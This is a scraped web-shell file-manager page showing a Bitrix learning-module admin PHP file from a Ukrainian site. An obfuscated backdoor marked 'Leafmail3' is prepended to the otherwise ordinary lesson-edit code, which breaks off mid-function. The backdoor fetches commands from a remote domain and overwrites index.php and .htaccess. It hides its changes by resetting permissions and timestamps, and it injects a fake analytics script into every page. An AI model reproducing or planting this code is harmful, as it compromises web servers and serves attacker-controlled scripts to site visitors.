Your IP : 3.137.184.142


Current Path : /home/bitrix/ext_www/klimatlend.ua/bitrix/modules/learning/admin/
Upload File :
Current File : /home/bitrix/ext_www/klimatlend.ua/bitrix/modules/learning/admin/learn_unilesson_edit.php

<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/**
 * This file is modified admin_lesson_edit.php (with added additional field for 'CODE' from admin_chapter_edit.php).
 * 
 */
require_once($_SERVER['DOCUMENT_ROOT'] . '/bitrix/modules/main/include/prolog_admin_before.php');

if (!CModule::IncludeModule('learning'))
{
	require($_SERVER['DOCUMENT_ROOT'] . '/bitrix/modules/main/include/prolog_admin_after.php'); // second system's prolog

	if (IsModuleInstalled('learning') && defined('LEARNING_FAILED_TO_LOAD_REASON'))
		echo LEARNING_FAILED_TO_LOAD_REASON;
	else
		CAdminMessage::ShowMessage(GetMessage('LEARNING_MODULE_NOT_FOUND'));

	require($_SERVER['DOCUMENT_ROOT'] . '/bitrix/modules/main/include/epilog_admin.php');	// system's epilog
	exit();
}

require_once($_SERVER['DOCUMENT_ROOT'] . '/bitrix/modules/learning/prolog.php');

IncludeModuleLangFile($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/learning/options.php");
IncludeModuleLangFile(__FILE__);

$APPLICATION->AddHeadScript('/bitrix/js/learning/rights_edit.js');

$aContext = array();
$oAccess = CLearnAccess::GetInstance($USER->GetID());

ClearVars();

$message = null;
$bVarsFromForm = false;
$LESSON_ID = intval($LESSON_ID);

if (isset($g_learn_parentLessonId))
	unset($g_learn_parentLessonId);

if (isset($g_learn_currentLessonPath))
	unset($g_learn_currentLessonPath);

if (isset($g_learn_parentLessonPath))
	unset($g_learn_parentLessonPath);

if (isset($_POST['LESSON_PATH']) || isset($_GET['LESSON_PATH']))
{
	if (isset($_POST['LESSON_PATH']))
		$g_learn_currentLessonPath = $_POST['LESSON_PATH'];
	else
		$g_learn_currentLessonPath = $_GET['LESSON_PATH'];

	$oPath = new CLearnPath();
	$oPath->ImportUrlencoded ($g_learn_currentLessonPath);
	$arPath = $oPath->GetPathAsArray();
	if (count($arPath) >= 2)
	{
		// pop current lesson id
		array_pop ($arPath);

		// remember parent path
		$oParentPath = new CLearnPath();
		$oParentPath->SetPathFromArray($arPath);
		$g_learn_parentLessonPath = urldecode($oParentPath->ExportUrlencoded());

		// pop parent lesson id
		$g_learn_parentLessonId = array_pop ($arPath);

		// If lesson was edited and unlinked from parent $g_parentLessonId
		// we must cleanup LESSON_PATH. Also we must cleanup lesson path if
		// it is wrong due to other reasons.
//		$arEdgesToParents = CLearnLesson::ListImmediateParents($LESSON_ID);
//
//		$isLinkToParentFound = true;
//		foreach ($arEdgesToParents as $arEdgeToParent)
//		{
//			if ( (int) $arEdgeToParent['PARENT_LESSON'] === (int) $g_learn_parentLessonId )
//				$isLinkToParentFound = true;
//		}
//
//		if ( ! $isLinkToParentFound )
//		{
//			if (isset($_POST['LESSON_PATH']))
//				unset ($_POST['LESSON_PATH']);
//
//			if (isset($_GET['LESSON_PATH']))
//				unset ($_GET['LESSON_PATH']);
//
//			unset ($g_learn_parentLessonId, $g_learn_parentLessonPath, $g_learn_currentLessonPath);
//		}
	}
	unset ($oPath, $oParentPath, $arPath);
}

// This argument transmitted when pended new lesson creation
if (isset($_GET['PROPOSE_RETURN_LESSON_PATH']))
{
	if (isset($g_learn_parentLessonPath))
	{
		throw new LearnException (
			'EA_LOGIC: PROPOSE_RETURN_LESSON_PATH and '
			. 'LESSON_PATH are mutually exclusive arguments.', 
			LearnException::EXC_ERR_ALL_LOGIC);
	}

	$g_learn_parentLessonPath = $_GET['PROPOSE_RETURN_LESSON_PATH'];

	$oPath = new CLearnPath();
	$oPath->ImportUrlencoded ($g_learn_parentLessonPath);
	$g_learn_parentLessonId = $oPath->GetBottom();
	if ($g_learn_parentLessonId === false)
	{
		throw new LearnException (
			'EA_LOGIC: PROPOSE_RETURN_LESSON_PATH given, '
			. 'but there is no parent lesson in path', 
			LearnException::EXC_ERR_ALL_LOGIC);
	}
}

// Place to $topCourseLessonId lesson id of top course, if top lesson is course.
$topCourseLessonId = false;
if (isset($g_learn_parentLessonPath) && strlen($g_learn_parentLessonPath))
{
	try
	{
		$oPath = new CLearnPath();
		$oPath->ImportUrlencoded ($g_learn_parentLessonPath);
		$topLessonId = $oPath->GetTop();

		// Is lesson the course?
		if (CLearnLesson::GetLinkedCourse($topLessonId) !== false)
			$topCourseLessonId = $topLessonId;
	}
	catch (Exception $e)
	{
		$topCourseLessonId = false;
	}

	unset ($oPath, $topLessonId);
}


// This argument can be transmitted on POST submit of form when creating new lesson
if (isset($_GET['PARENT_LESSON_ID']))
	$_POST['PARENT_LESSON_ID'] = $_GET['PARENT_LESSON_ID'];

if (isset($_POST['PARENT_LESSON_ID']))
{
	$g_learn_parentLessonId = $_POST['PARENT_LESSON_ID'];
}

$createNewLesson = false;
if ($_SERVER["REQUEST_METHOD"] == "POST" && strlen($Update)>0 && check_bitrix_sessid())
{
	$arEdgeProperties = array();

	if ($LESSON_ID == 0)
		$createNewLesson = true;

	$was_errors = false;
	// Block 1: params, preview_text and detail_text
	if (array_key_exists('NAME', $_POST)
		&& array_key_exists('DETAIL_TEXT', $_POST)
	)
	{
		if (
			(($LESSON_ID == 0) && $oAccess->IsBaseAccess(CLearnAccess::OP_LESSON_CREATE))
			|| (($LESSON_ID != 0) && $oAccess->IsLessonAccessible ($LESSON_ID, CLearnAccess::OP_LESSON_WRITE))
		)
		{
			$arPREVIEW_PICTURE = $_FILES["PREVIEW_PICTURE"];
			$arPREVIEW_PICTURE["del"] = ${"PREVIEW_PICTURE_del"};
			$arPREVIEW_PICTURE["MODULE_ID"] = "learning";
			$arPREVIEW_PICTURE["description"] = ${"PREVIEW_PICTURE_descr"};

			$arDETAIL_PICTURE = $_FILES["DETAIL_PICTURE"];
			$arDETAIL_PICTURE["del"] = ${"DETAIL_PICTURE_del"};
